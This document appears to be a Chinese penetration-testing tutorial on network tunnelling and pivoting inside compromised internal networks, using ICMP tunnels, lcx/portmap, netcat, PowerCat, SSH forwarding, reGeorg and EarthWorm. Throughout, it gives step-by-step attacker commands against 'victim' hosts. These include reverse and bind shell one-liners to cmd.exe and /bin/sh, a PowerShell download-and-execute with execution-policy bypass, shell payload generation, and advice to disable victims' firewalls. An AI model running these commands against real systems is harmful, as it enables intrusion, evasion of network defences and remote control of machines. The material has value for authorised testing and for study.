[toc]

什么是隧道?

在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。

常用的隧道技术有以下三种:

  • 网络层:IPv6 隧道、ICMP 隧道
  • 传输层:TCP 隧道、UDP 隧道、常规端口转发
  • 应用层:SSH 隧道、HTTP/S 隧道、DNS 隧道

先判断内网连通性

判断内网的连通性是指判断机器能否上外网等。(综合判断各种协议)各协议的方法如下:

  1. TCP 协议

用“瑞士jundao”——netcat

执行 nc 命令:nc <IP> <端口>

  1. HTTP 协议

用“curl”工具,执行curl <IP地址:端口>命令。如果远程主机开启了相应的端口,且内网可连接外网的话,就会输出相应的端口信息。

  1. CIMP 协议

用“ping”命令,执行ping <IP地址/域名>

  1. DNS 协议

检测DNS连通性常用的命令是“nslookup”和“dig”。

nslookup 是windows自带的DNS探测命令,执行:

1
2
nslookup www.baidu.com vps-ip
nslookup www.baidu.com // 不指定服务器,则使用默认的DNS服务器

dig是linux系统自带的DNS探测命令,执行:

1
2
dig @vps-ip www.baidu.com
dig www.baidu.com // 不指定服务器,则使用默认的DNS服务器

网络层隧道技术

IPv6 隧道

IPv6 隧道技术是指通过 IPv4 隧道传送IPv6 数据报文的技术。为了在 IPv4 海洋中传递 IPv6 信息,可以将 IPv4 作为隧道载体,将 IPv6 报文整体封装在 IPv4 数据报文中,使用 IPv6 报文能够穿过 IPv4 海洋,到达另一个IPv6 小岛。

将 IPv6 封装在IPv4中的过程与其他协议封装相似:隧道一端的节点把IPv6数据报作为要发送给隧道另一端节点的IPv4包中的净荷数据,这样就产生了包含IPv6数据报的IPv4数据报流。如果节点A和节点B都是只支持IPv6的节点,节点A要向B发送包,A只是简单地把IPv6头的目的地址设为B的IPv6地址,然后传递给路由器X;X对IPv6包用IPv4进行封装,然后将IPv4头的目的地址设为路由器Y的IPv4地址;若路由器Y收到此IPv4包,则首先拆包,如果发现被封装的IPv6包是发给节点B的,Y就将此包正确地转发给B。

因为现阶段的边界设备、防火墙甚至入侵防御系统 还无法识别 IPv6 的通信数据,而大多数的操作系统支持 IPv6,所以需要进行人工配置。

img

攻击者有时会通过恶意软件来配置允许进行 IPv6 通信的设备,以避开防火墙和入侵检测系统。

配置隧道和自动隧道

配置隧道和自动隧道的主要区别在于:只有执行隧道功能的节点的IPv6地址是IPv4兼容地址时,自动隧道才是可行的。在为执行隧道功能的节点建立IP地址时,自动隧道方法无需进行配置;而配置隧道方法则要求隧道末端节点使用其他机制来获得其IPv4地址,例如采用DHCP、人工配置或其他IPv4的配置机制。

支持 IPv6 的隧道工具有 socat、6tunnel、nt6tunnel 等。

ICMP 隧道

在 ICMP 通信协议中,通信双方的两台设备不需要开放端口即可进行,而在一般的通信协议中,是必须要开放端口的。最常见的 ICMP 协议的消息为 ping 命令的回复,攻击者可以利用命令行得到比回复更多的 ICMP 请求。

在一些网络环境中,如果攻击者使用各类上层隧道(例如HTTP隧道、DNS隧道、常规端口转发等)进行的操作都失败了,由于防火墙一般不会屏蔽ping数据包,所以常常会通过ping命令访问远程主机,尝试建立ICMP隧道,将TCP/UDP数据封装到ICMP协议的ping数据包中,从而穿过防火墙,实现不受限制的网络访问。

一下介绍常用的ICMP隧道工具。

icmpsh

icmpsh 工具是一个简单的ICMP反弹shell工具。可以跨平台,且运行时无需管理员权限。

下载地址:https://github.com/inquisb/icmpsh

img

运行需要安装Python的impacket类库,以便对tcp、udp、icmp、igmp、arp、ipv4、ipv6、smb、等进行访问。

icmpsh 运行时因为要代替系统本身的ping命令的应答程序,所以需要先执行以下命令关闭本地系统的ICMP应答,否则获得的shell不稳定:

1
sysctl -w net.ipv4.icmp_echo_ignore_all=1    // 恢复设为0

img

实战:

攻击者vps模拟公网IP:192.168.1.101

受害者模拟公网IP:192.168.1.100

1.攻击者server端在项目目录下输入:

1
2
 python icmpsh_m.py 192.168.1.101 192.168.1.100 
// python icmpsh_m.py 攻击者ip 受害者ip

或输入./run.sh运行程序,之后提醒你输入受害者公网ip,会给出你在受害者主机上执行的命令。

2.给受害者主机上传icmpsh.exe并执行命令:

1
icmpsh.exe -t 192.168.1.101 -d 500 -b 30 -s 128

即可在攻击机上看到受害者的shell:

img

imcpsh.exe参数:

1
2
3
4
5
6
7
8
-t  host主机ip地址(攻击者),用于向其发送ping请求。此选项是强制性的!
-r 发送包含字符串的单个测试icmp请求,然后退出。这是用于测试连接的。
-d 毫秒请求之间的延迟(以毫秒为单位)
-o 毫秒响应超时(以毫秒为单位)。 如果未及时收到回复,
从站将增加一个空白计数器。 如果该计数器达到极限,则从站将退出。
如果收到响应,则计数器设置回0
-b 空格数限制(退出前未答复的icmp请求
-s 字节最大数据缓冲区大小(以字节为单位)

在实际渗透测试中,我们如何知道受害机的公网ip呢,严格说这个ip应该是server端看到的ip,为了得到这个ip可以从内网终端ping这个vps,在vps中用tcpdump icmptcpdump -i eth0 icmp命令监听并获取这个ip,然后填写。

img

Pingtunnel

Pingtunnel也是一个常用的ICMP隧道工具,可以跨平台,并且在使用时可以给隧道设置密码,从而防止隧道被滥用。

下载地址:http://freshmeat.sourceforge.net/projects/ptunnel/

下面我们做一个测试。测试环境如下:

img

1
2
3
4
5
6
7
攻击者vps
模拟公网IP:192.168.1.101
Web服务器
模拟公网IP:192.168.1.103
内网IP:192.168.52.128
数据库服务器
内网IP:192.168.52.143

假设我们已经获得了web服务器的权限,继续向内网中渗透,但是攻击者无法访问到位于内网的数据库服务器(192.168.52.143)。web服务器也无法直接访问数据库服务器,但是可以通过ping命令访问数据库服务器。那么我们就可以以web服务器为跳板,建立ICMP隧道对内网继续渗透。

1.先在受害web服务器上面上传ptunnel程序并执行:

1
ptunnel -x whoami

img

攻击者vps上面执行:

1
ptunnel -p 192.168.1.103 -lp 1080 -da 192.168.52.143 -dp 3389 -x whoami

img

上述命令的含义是:在访问攻击者vps(192.168.1.101)的1080端口时,会把数据库服务器(192.168.52.143)的3389端口的数据封装在ICMP隧道里,以Web服务器192.168.1.103为ICMP隧道跳板进行传送。整个过程中Web服务器是一个边界服务器,作为一个跳板进行数据转发。

最后在攻击者vps上面访问其本地1080端口即可与数据库服务器的3389端口建立连接:

img

ptunnel的参数:

1
2
3
4
5
-x: 指定ICMP隧道连接的密码
-lp: 指定攻击者要监听的本地TCP端口
-da: 指定要转发的第三方目标机器的IP地址
-dp: 指定要转发的第三方目标的TCP端口
-p: 指定ICMP隧道另一端的机器的IP地址

也可以使用ICMP隧道访问数据库服务器192.168.52.143的22端口,建立ssh连接。vps输入以下命令:

1
ptunnel -p 192.168.1.103 -lp 1080 -da 192.168.52.143 -dp 22 -x whoami

即可用以下命令建立与内网数据库服务器的ssh连接:

1
ssh administrator@127.0.0.1 -p 1080

img

同样可以将内网目标服务器的web服务80端口转发到攻击者本地:

1
ptunnel -p 192.168.1.103 -lp 8000 -da 192.168.52.143 -dp 80 -x whoami

攻击者用浏览器访问vps的8000端口即可。

icmptunnel

下载地址:https://github.com/jamesbarlow/icmptunnel

icmptunnel是一个将IP流量封装到 ICMP echo 请求和回复(ping)包中的隧道工具,是在允许 ping 的网络中进行拓展、绕过防火墙的一种半隐蔽方式。虽然ICMP echo流量在网络边界通常会被过滤,但这种方法仍然可能对从企业内网出连到互联网的技术有一定帮助。

测试环境:

  • 攻击机:192.1.68.1.101
  • 受害机:192.168.1.103

攻击者(服务端):

1
2
3
4
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all      #禁用icmp回复
./icmptunnel -s #监听
重新打开一个命令行窗口
ifconfig tun0 10.0.0.1 netmask 255.255.255.0 #添加tun0网卡,分配隧道地址为10.0.0.1/24

img

受害机(客户端):

1
2
3
4
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all      #禁用icmp回复
./icmptunnel 192.168.1.101 #连接服务端
重新打开一个命令行窗口
ifconfig tun0 10.0.0.2 netmask 255.255.255.0 #添加tun0网卡,分配隧道地址10.0.0.2/24

img

这样,客户端和服务端已经打通了一条ICMP隧道。服务器端是10.0.0.1,客户端端是10.0.0.2。在服务端上,尝试通过SSH连接到客户端,注意,要用隧道的ip地址进行SSH连接

img

客户端向外连接到服务端:

img

传输层隧道技术

在渗透测试中,如果内网的防火墙阻止了对指定端口的访问,在获取了目标机器的权限后,可以使用防火墙命令打开指定的端口或关闭防火墙。如果内网中存在一系列防御系统,TCP、UDP 流量会被大量拦截。

lcx端口转发

lcx是一个很经典的端口转发工具,其基于Socket套接字,有Windows和Linux两个版本。Windows的为lcx.exe,Linux的为portmap。

下载地址:https://github.com/MrAnonymous-1/lcx

一个正常的socket套接字必须具备两端:一端是服务端,监听一个端口,等待客户端连接;另一端为客户端,通过给出服务器的IP和端口,与服务端建立连接。

内网端口转发

在受害机(Windows)上面执行如下命令,将受害机3389端口的数据转发到攻击者公网VPS(Windows)的8000端口上。

1
lcx.exe -slave <攻击者ip> 8000 127.0.0.1 3389

img

在攻击机上面执行如下命令,将本机8000端口上监听到的数据转发到本机的4444端口上面

1
lcx.exe -listen 8000 4444

img

此时即可登录用远程桌面登录<攻击者本地ip>:4444,即可访问受害者的3389端口远程桌面了。

img

Linux系统上面使用portmap:

先在具有公网ip的攻击机上执行:

1
2
3
./portmap -m 2 -p1 23 -h2 127.0.0.1 -p2 2333

./portmap -m 2 -p1 23 -h2 公网主机ip -p2 2333

img

意思是监听来自23端口的请求,将其转发到2333端口

img

这里有一个-m参数这个参数的解释:以哪种方式来用这个工具,然后下面有三个方式

  • 1:监听 port1 端口并且连接 host2 的 port2 端口
  • 2:监听 port1 和 port2 端口
  • 3:连接 host1 对应的端口和主机2对应的端口

受害机:

1
2
3
./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 39.1xx.xxx.2xx -p2 23

./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 公网主机ip -p2 23

意思就是将内网受害主机22端口的流量转发到公网攻击机的23端口。

img

接着攻击者用ssh命令本地连接2333端口即可:

img

本地端口转发

如果目标服务器由于防火墙的限制,部分端口(例如3389、22)的数据无法通过防火墙,我们可以将目标服务器相应端口的数据转发到他的其他防火墙允许的端口上去(即本地端口转发)。在受害机上面执行以下命令,就可以将目标机3389端口透传到目标机1080端口上:

1
lcx.exe -tran 1080 127.0.0.1 3389

然后攻击机连接目标机的1080端口即可:

img

二者结合使用

测试环境如下:

image-20200924190734397

假设我们已经获得了web服务器的权限,继续向内网中渗透,但是攻击者无法访问到位于内网域控制器(192.168.52.138)。Web服务器可以访问内网域控制器,那么我们就可以以Web服务器为跳板,进行端口转发。

  1. 在web服务器上面上传portmap,执行如下命令:
1
./portmap -m 2 -h1 127.0.0.1 -p1 8000 -h2 127.0.0.1 -p2 4444

即web服务器监听本地8000端口和4444端口,并将来自8000端口的请求,将其转发到4444端口

image-20200924193348614

  1. 然后在内网域控制器上上传lcx.exe,并控制其连接web服务器的4444端口:
1
lcx.exe -slave 192.168.52.129 8000 127.0.0.1 3389

即将域控制器的3389端口的数据转发到web服务器的8000端口上。

image-20200924193404864

然后再在攻击者vps上面连接web服务器的4444端口即可打开内网域控制器的远程桌面:

image-20200924193622910

NetCat——瑞士军刀

下载地址:https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download

利用nc获取shell

(1)正向shell

受害机:

1
2
nc -ldp 4444 -e /bin/sh      //linux
nc -ldp 4444 -e c:\windows\system32\cmd.exe //windows

攻击机:

1
nc 192.168.1.102(受害者) 4444     //主动连接

(2)反向shell

攻击者:

1
nc -lvp 4444     //开启监听

受害者:

1
2
nc 192.168.1.5 4444 -e /bin/sh      //linux 
nc 192.168.1.5 4444 -e c:\windows\system32\cmd.exe //windows

反向shell最常用,通常用在开启了防护措施的目标机器上,例如防火墙过滤、端口转发等。

内网代理

测试环境如下:

img

1
2
3
4
5
6
7
攻击者vps
模拟公网IP:192.168.1.101
Web服务器
模拟公网IP:192.168.1.103
内网IP:192.168.52.128
数据库服务器
内网IP:192.168.52.143

我们已经获取了web服务器的权限,攻击者vps无法直接访问数据库服务器(192.168.52.143),但是通过web服务器可以访问数据库服务器。我们可以尝试利用web服务器做跳板来获取数据库服务器的shell。

攻击者先在vps上面监听2333端口:

1
nc -lvp 2333

接着想办法在数据库服务器上面执行以下命令:

1
nc -ldp 3333 -e c:\windows\system32\cmd.exe

最后在web服务器上面执行以下命令:

1
nc 192.168.1.101 2333 -c "nc -v 192.168.52.143 3333"
  • -c:在nc连接上的一瞬间要执行的命令

最后在攻击机上面获得了数据库服务器的shell

img

整个过程就是:先使web服务器连上攻击机,在连接上的一瞬间再去连接位于内网的数据库服务器,web服务器是边界服务器,只当做通信的中转。

PowerCat

PowerCat就是powershell版本的nc,与nc使用方法相似,且可以上传到目标机本地执行,也可以让目标机远程下载后在内存中执行。

下载地址:https://github.com/besimorhino/powercat

将PowerCat作为跳板进行内网代理:

测试环境如下:

img

1
2
3
4
5
6
7
攻击者vps
模拟公网IP:192.168.1.101
Windows 7
模拟公网IP:192.168.1.102
内网IP:192.168.52.143
Windows Server 8
内网IP:192.168.52.138

Windows 7 可以与内网 Windows Server 8 通信,Windows 7可连通外网,攻击机无法访问内网的 Windows Server 8 但可以访问Windows 7。假设我们通过渗透已经拿到了Windows 7的权限,我们可以将Windows 7作为跳板拿到内网 Windows Server 8 的shell。

接着想办法在 Windows Server 8上面上传powercat.ps1并执行以下powershell命令

1
powershell -ExcutionPolicy bypass -Command "&{Import-Module C:\powercat.ps1;powercat -l -v -p 9999 -e c:\windows\system32\cmd.exe}"

先在Windows 7 上面执行以下命令:

1
2
3
powershell -ExcutionPolicy bypass IEX(New-Object Net.WebClient).DownloadString("http://39.1xx.xx9.xxx/powercat.ps1");powercat -l -v -p 8000 -r tcp:192.168.52.138:9999

// -r:数据转发

最后在攻击者主机上面主动连接Windows 7

1
nc -vv 192.168.1.102 8000

即可在攻击者主机上获得Windows Server 8的shell:

img

这里的操作是正向shell会受到防火墙的限制而不成功,可以使用命令关闭受害机的防火墙。

反弹shell:

攻击机

1
nc -l -p 8888 -vv

受害机

1
powercat -c <攻击者IP> -p <攻击者端口> -e C:\windows\system32\cmd.exe

反弹PowerShell:

想要反弹powershell的话,两端必须都用powercat。

攻击机

1
powercat -l -v -p 4444 

受害机

1
2
3
powercat -c <攻击者IP> -p <攻击者端口> -v -ep

// -ep: 用于反弹powershell

用PowerCat生成payload

1
2
3
4
5
正向:
powercat -l -p 4444 -e c:\windows\system32\cmd.exe -v -g >> shell.ps1

反向:
powercat -c <攻击者IP> <攻击者端口> -v -e c:\windows\system32\cmd.exe -g >> shell.ps1

在攻击者主机上提前做好相应的配置后,将shell.ps1上传至受害主机用powershell执行即可。

  • -g:生成payload
  • -ge:生成经过编码的payload,可以使用powershell -e/-EncodedCommand <编码的代码>命令来执行

应用层隧道技术

应用层(Application layer)是七层OSI模型的第七层。应用层直接和应用程序接口并提供常见的网络应用服务。应用层的隧道技术主要利用应用软件提供的端口来发送数据,常用的协议有SSH、HTTP/HTTPS和DNS。这里我们主要讲解SSH和HTTP/HTTPS,DNS隧道我会在未来专门写一个专题进行讲解。

SSH协议

SSH 为建立在应用层基础上的安全协议,专为远程登录会话和其他网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。SSH最初是UNIX系统上的一个程序,后来又迅速扩展到其他操作平台。SSH客户端适用于多种平台,几乎所有UNIX平台—包括HP-UXLinuxAIXSolarisDigital UNIXIrix,以及其他平台,都可运行SSH。

一般情况下,SSH协议的传输是被允许通过防火墙及边界设备的,且SSH传输过程加密,很难区分是合法的SSH会话还是攻击者建立的隧道,所以经常被攻击者所利用。攻击者使用SSH隧道突破防火墙限制后,能够建立一些之前无法建立的TCP连接。

SSH 命令

1
ssh 用户名@ip -p <端口号>

创建ssh隧道常用的参数有:

  • -C:压缩传输,提高传输速度
  • -f:将ssh传输转入后台执行,不占用当前的shell
  • -N:静默连接,连接后看不到具体会话
  • -g:允许远程主机连接本地用于转发的端口
  • -L:本地端口转发
  • -R:远程端口转发
  • -D:动态转发(SOCKS 代理)
  • -p:指定ssh端口

本地转发实验

img

测试环境:

攻击者vps

​ 模拟外网IP:192.168.1.101

内网web服务器

​ 模拟外网IP:192.168.103

​ 内网IP:192.168.52.128

内网受害机Windows Server 8

​ 内网IP:192.168.52.138

攻击者vps可以访问内网web服务器,但不能访问内网受害机Windows Server 8;内网web服务器与内网受害机Windows Server 8可以互访。我们的思路是:以Web服务器为跳板,访问Windows Server 8的3389端口。利用的前提是已经拿到了明文密码,且Web服务器有公网IP。

在攻击者vps上面执行:

1
2
3
ssh -CfNg -L 1153(vps端口):192.168.52.138(目标机ip):3389(目标端口) root@192.168.1.103(跳板机)

//攻击者vps主动去连web
  • -L:本地端口转发

img

执行以下命令,查看本地1153端口是否已经建立连接。可以看到,在进行本地映射时,本地的ssh进程监听了1153端口。

img

这里的原理是,以web服务器192.168.1.103为跳板,将内网Windows Server 8(192.168.52.138)的3389端口映射到了攻击者vps的1153端口上,我们执行如下命令,访问vps本地1153端口,就可以访问内网Windows Server 8(192.168.52.138)的3389端口了:

1
rdesktop 127.0.0.1:1153

img

可以看到,成功连上了内网Windows Server 8的远程桌面。这种方法只需要在攻击机执行一条命令,还是比较方便的。

远程转发实验

img

还是相似的测试环境,但此时内网中没有了边界设备,即Web服务器是通过映射对外提供web服务的,其并没有公网IP,所以攻击者vps不能访问内网中的这三台机器;内网web服务器可以访问外网vps,windows server 8和域控制器都不能访问外网vps。我们的思路是:通过外网vps访问内网windows server 8的3389端口。

在web服务器(192.192.52.128)上执行如下命令,

1
2
3
ssh -CfNg -R 3307(vps端口):192.168.52.138(目标机ip):3389(目标端口) root@192.168.1.101(vps)

// 受害机主动连接vps
  • -R:远程端口转发

img

vps上面可见:

img

这里,我们以web服务器为跳板,将vps的3307端口的流量转发到了内网windows server 8(192.168.52.138)的3389端口上,我们访问vps的3307端口,即可访问内网windows server 8的3389端口远程桌面了:

img

动态转发实验

前面介绍的端口转发类型都叫静态端口转发,所谓的 “静态” 是指应用程序服务器端的 IP 地址和监听的端口是固定的。试想另外一类应用场景:设置浏览器通过端口转发访问不同网络中的网站。这类应用的特点是目标服务器的 IP 和端口是未知的并且总是在变化,创建端口转发时不可能知道这些信息。只有在发送 HTTP 请求时才能确定目标服务器的 IP 和端口。在这种场景下静态端口转发的方式是搞不定的,因而需要一种专门的端口转发方式,即 “动态端口转发”。

SSH 动态端口转发是通过 Socks 协议实现的,创建动态端口转发时 SSH 服务器就类似一个 Socks 代理服务器,所以这种转发方式也叫 Socks 转发。

测试环境如下:

img

我们在vps上面执行如下命令,建立一个动态的SOCKS代理通道,

1
ssh -CfNg -D 7000 root@192.168.1.103(内网Web服务器)

这里,命令中不需要像前两个一样指定目标服务器和端口号。执行上面的命令后 SSH 客户端(攻击机vps)就开始监听本机 localhost 的 7000 端口。你可以把本机上浏览器网络配置中的 Socks 服务器指定为127.0.0.1:7000。然后浏览器中的请求会被转发到 SSH 服务端(内网Web服务器),并从 SSH 服务端与目标站点机器(内网文件服务器)建立连接进行通信。

img

可以看到,在使用动态映射的时候,本地主机的ssh进程监听了7000端口。我们在攻击者vps上面打开浏览器,进行设置,设置代理网络:

img

这样,就可以通过浏览器访问内网文件服务器了:

img

也可以通过配置proxychains进行对内网机器的访问。

这里的动态端口转发其实就是建立一个ssh加密的SOCKS代理通道,SOCKS代理它只是简单地将一端的系统连接到另外一端,把你的网络数据请求通过一条连接你和目标机器之间的通道,由一端转发到另一端。任何支持SOCKS协议的程序都可以使用这个加密通道进行代理访问。

HTTP(S)协议

HTTP协议即超文本传输协议,是Internet上行信息传输时使用最为广泛的一种非常简单的通讯协议。部分局域网对协议进行了限制,只允许用户通过HTTP协议访问外部网站。HTTP Service 代理用于将所有的流量转发到内网。

reGeorg

下载地址:https://github.com/sensepost/reGeorg

首先我们需要明白正向代理反向代理的区别:

正向代理(Forward Proxy)

1
Lhost-->proxy-->Rhost

Lhost为了访问到Rhost,向proxy代理服务器发送了一个请求并且指定目标是Rhost,然后proxy向Rhost转交请求并将获得的内容返回给Lhost,简单来说正向代理就是proxy代替了我们去访问Rhost。

反向代理(reverse proxy)

1
Lhost<-->proxy<-->firewall<-->Rhost

和正向代理相反,Lhost只向proxy发送普通的请求,具体让他转到哪里,proxy自己判断,然后将返回的数据递交回来,这样的好处就是在某些防火墙只允许proxy数据进出的时候可以有效的进行穿透

简单说就是正向代理是指攻击机主动通过代理来访问目标机器,反向代理是指目标机器通过代理进行主动连接。我们平常使用的reDuh、tunna,和reGeorg一样,都是正向代理。一般都是用户上传一个代理脚本到服务器端,本地的程序去连接服务器上的脚本,脚本程序做代理转发端口和流量。

reGeorg是reDuh的升级版,主要功能是将内网服务器端口的数据通过HTTP(S)隧道转发到本机,实现基于HTTP协议的通信。

img

测试环境如下:

img

内网有三台主机,其中web服务器有两个网卡,分别连接内外网,其余内网两台主机无法与外网通信,但可以与web服务器win7互访;攻击者vps可以访问web服务器。我们的思路是利用HTTP Server 代理,将攻击者所有流量转发到内网中,实现对内网其余主机的控制。

将reGeorg的对应脚本文件tunnel.nosocket.php上传到目标Web服务器,此时攻击机访问远程web服务器上的tunnel.nosocket.php文件,页面返回“Georg says, ‘All seems fine’”后,攻击机kali在本地用reGeorgSocksProxy.py脚本监听本地的9999端口,即可建立一个通信链路。

操作时将tunnel.(aspx|ashx|jsp|php)上传到目标Web服务器,具体取决于远程服务器支持什么样的语言。我这里是php服务器,所以我们上传tunnel.nosocket.php,php这里分为有socket与无socket的,tunnel.php需要使用dl()函数加载socket模块,其需要修改php.ini,所以我们使用的是tunnel.nosocket.php。

img

然后攻击者执行:

1
python reGeorgSocksProxy.py -u http://192.168.1.7/tunnel.nosocket.php -p 9999

img

程序卡在“Georg says, ‘All seems fine’”表示正常运行。

接下来安装并配置proxychains-ng

1
2
3
4
5
6
git clone https://github.com/rofl0r/proxychains-ng.git
cd proxychains-ng
./configure
make && make install
cp ./src/proxychains.conf /etc/proxychians.conf
cd .. && rm -rf proxychains-ng

编辑proxychains配置文件:

1
vim /etc/proxychains.conf

在末尾添加

1
socks5 127.0.0.1 9999 // 9999为你自己的端口,需要与reGeorg中设置的端口相同

img

现在就可以在攻击者vps本地机器上使用proxychains对应用程序进行代理来访问目标内网中的资源了,使用方法即在工具名前面加上proxychains4,如nmap通过proxychains代理扫描内网windows server 8主机的端口:

1
proxychains4 nmap 192.168.52.138 -Pn -sT -p 3389         // -Pn和-sT必须带着

img

(可以看见设置代理的shell里面有数据传输)

接下来打开内网windows server 8主机的远程桌面:

1
proxychains4 rdesktop 192.168.52.138

img

成功。当然windows系统可以使用SocksCap等工具进行代理:

img

应用层的隧道还有有一个重要的技术就是DNS隧道技术,由于小编能力太菜,呜呜呜,很多东西也是现学现卖,所以我将在未来专门写一个专题来对其进行介绍。

SOCKS 代理技术

Socks代理即全能代理,就像有很多跳线的转接板,它只是简单地将一端的系统连接到另外一端。支持多种协议,包括http、ftp请求及其它类型的请求。它分socks 4 和socks 5两种类型,socks 4只支持TCP协议而socks 5支持TCP/UDP协议,还支持各种身份验证机制等协议。其标准端口为1080。socks代理相应的采用socks协议的代理服务器就是SOCKS服务器,是一种通用的代理服务器。利用SOCKS能够与目标内网计算机进行通信,避免多次使用端口转发。

见的网络场景有如下三类:

  1. 服务器在内网中,可以任意访问外部网络。
  2. 服务器在内网中,可以访问外部网络,但服务器安装了防火墙来拒绝敏感端口的连接。
  3. 服务器在内网中,对外只开放了部分端口(例如80端口),且服务器不能访问外部网络。

EarthWorm

下载链接:https://github.com/rootkiter/EarthWorm

https://codeload.github.com/idlefire/ew/zip/master

EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。EarthWorm能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。该工具包中有多个可执行文件,以适应不同的操作系统(Linux、Windows、Mac OS、ARM-Linux均包含在内)

img

reGeorg

下载地址:https://github.com/sensepost/reGeorg

reGeorg的主要功能是将内网服务器的端口通过HTTP(S)隧道转发到本机,形成一个回路。其可以使目标服务器在内网中(或者在设置了端口策略的情况下)连接内部开放端口。reGeorg利用webshell建立一个socks代理进行内网穿透,服务器必须支持 ASPX、PHP、JSP中的一种。

SockCap64

下载地址:http://www.sockscap64.com/

SockCap64是一款在Windows环境中相当好用的代理软件,其可以使Windows应用程序通过SOCKS代理服务器来访问网络。

Proxifier

下载地址:https://www.proxifier.com/

Proxifier也是一款非常好用的全局代理软件,其提供了跨平台的端口转发和代理功能,适用于Windows、Linux、Mac OS平台。

ProxyChains

下载地址:https://github.com/rofl0r/proxychains-ng

http://proxychains.sourceforge.net/

ProxyChains是一款可以在Linux下实现全局代理的软件,非常好用,可以使任何应用程序通过代理上网,允许TCP和DNS流量通过代理隧道,支持HTTP、SOCKS 4、SOCK 5类型的代理服务器。

下面讲一下这几个工具的具体用法。

EarthWorm

EW有六种命令格式,分别是ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran。ssocksd命令用于普通网络环境的正向连接,rcsocks和rssocks用于反弹连接,其他命令用于复杂网络环境的多级级联。

img

测试环境:左侧有一个人计算机,为攻击者的计算机,位于攻击者的内网中,攻击者还有一台公网中的vps;右侧是一个受害内网,有三台机器,我们已经控制的web服务器有两个网卡,是连接外网和内网的关键节点,内网其他机器之间均不能直接连接。

(1)正向 SOCKS 5 服务器

适用于目标机器拥有一个外网IP地址的情况下,如上图内网web服务器的模拟外网IP为192.168.1.7。在web服务器上面上传对应的ew程序并执行:

1
ew_for_Win.exe -s ssocksd -l 888

img

这样,就在内网web服务器上面架设了一个端口为888的socks代理服务。接下来我们就可以设置proxychains或SocksCap64添加这个socks代理服务器(192.168.1.7)的代理即可。配置proxychains:

img

打开内网Windows server 8的远程桌面:

1
proxychains4 rdesktop 192.168.52.138

img

(2)反弹 SOCKS 5 服务器

正向 SOCKS 5 服务器适用于目标机器拥有一个外网IP地址的情况下,假设目标机器没有公网IP的情况下,我们怎么访问内网的资源呢?

img

在这个测试环境中,与上一个相似,只是web服务器没有了公网IP,但能上网;VPS是真的公网vps了。

在攻击者公网vps上面上传ew_for_linux64并执行:

1
./ew_for_linux64 -s rcsocks -l 1080 -e 1234

该命令的意思是在vps上添加一个转接隧道,监听1234,把本地1234端口收到的代理请求转交给1080端口,这里1234端口只是用于传输流量。

img

接着,在内网web服务器(192.168.52.143)上传ew_for_Win.exe,并执行命令:

1
ew_for_Win.exe -s rssocks -d 39.xxx.xxx.210 -e 1234

img

该命令的意思是在受害者web服务器上启动SOCKS5服务,并反弹到公网IP地址为39.xxx.xxx.210的1234端口上。此时vps上面显示“rssocks cmd_socket OK!”说明连接成功:

img

现在就可以在攻击者计算机上面配置proxychains或SocksCap64等工具通过访问公网vps(39.xxx.xxx.210)的1080端口来使用内网web服务器上面架设的socks代理服务了。如我们打开内网文件服务器的远程桌面:

1
proxychains4 rdesktop 192.168.52.141

img

(3)二级网络环境(a)

适用于目标机器拥有一个外网IP地址的情况下。

img

右侧内网A主机有两个网卡,一个连接外网(192.168.1.7),另一个只能连接内网的B主机,但不能访问内网中的其他主机资源。B主机可以访问内网其他资源,但不能访问外网。假设我们已经获得了A主机和B主机的控制权。

我们先将ew上传至B主机上面,并用ssocksd方式启动1234端口的正向socks代理:

1
ew_for_Win.exe -s ssocksd -l 1234

img

接着,将ew上传至A主机中,并执行命令:

1
ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.52.138 -g 1234

img

该命令将A主机1080端口收到的代理请求转发给B主机(192.168.52.138)的1234端口。

现在,我们就可以通过访问A主机的公网IP(192.168.1.7)的1080端口来使用架设在B主机上的socks代理服务了。配置proxychains:

img

用ssh连接内网服务器(192.168.52.128):

img

连接成功。

(4)二级网络环境(b)

刚才那个适用于目标机器拥有一个外网IP地址的情况下,假设目标机器没有公网IP的情况下,我们该怎么办呢?

img

如上图环境,A主机既没有公网IP,但能访问外网(上图写错了),不能访问内网其他主机资源,但可以访问内网B主机;内网B主机可以访问内网资源,但不能访问外网。假设我们已经获得了A主机和B主机的控制权限。

这里,我们不能像前一种情况那样通访问A主机来使用内网B主机上面架设的socks代理服务,可以通过访问vps来访问B主机上面架设的socks服务。

我们先在公网vps上传ew,在公网vps上面添加转接隧道,监听1080端口,并将1080端口收到的代理请求发送给1234端口,执行命令:

1
ew_for_linux64 -s lcx_listen -l 1080 -e 1234

img

然后将ew上传至内网B(192.168.52.138)主机,并利用ssocksd方式启动999端口的正向socks代理,执行命令:

1
ew_for_Win.exe -s ssocksd -l 999

img

最后,将ew上传到内网A主机上,在A主机(192.168.52.143)上利用lcx_slave方式,将公网vps的1234端口与内网B主机(192.168.52.138)的999端口连接起来,执行命令:

1
ew_for_Win.exe -s lcx_slave -d 39.xxx.xxx.210 -e 1234 -f 192.168.52.138 -g 999

img

此时,就可以设置proxychains等代理工具,通过访问公网vps的1080端口来使用架设在内网B主机上的socks代理服务了。如下设置proxychains:

img

访问内网机器(192.168.52.141)的远程桌面:

img

访问成功。除了proxychains,我们还可以使用proxifier、sockscap64等代理工具。如下,我们使用sockscap64来访问内网机器。

打开,sockscap64,将你想要进行代理的应用程序添加进去(方法很简单,找到可执行文件后拖进去即可),这里我把远程桌面程序添加了进去

img

点击上面的“代理”,进去添加一个代理,设置好vps或代理服务器的IP和指定的端口。

img

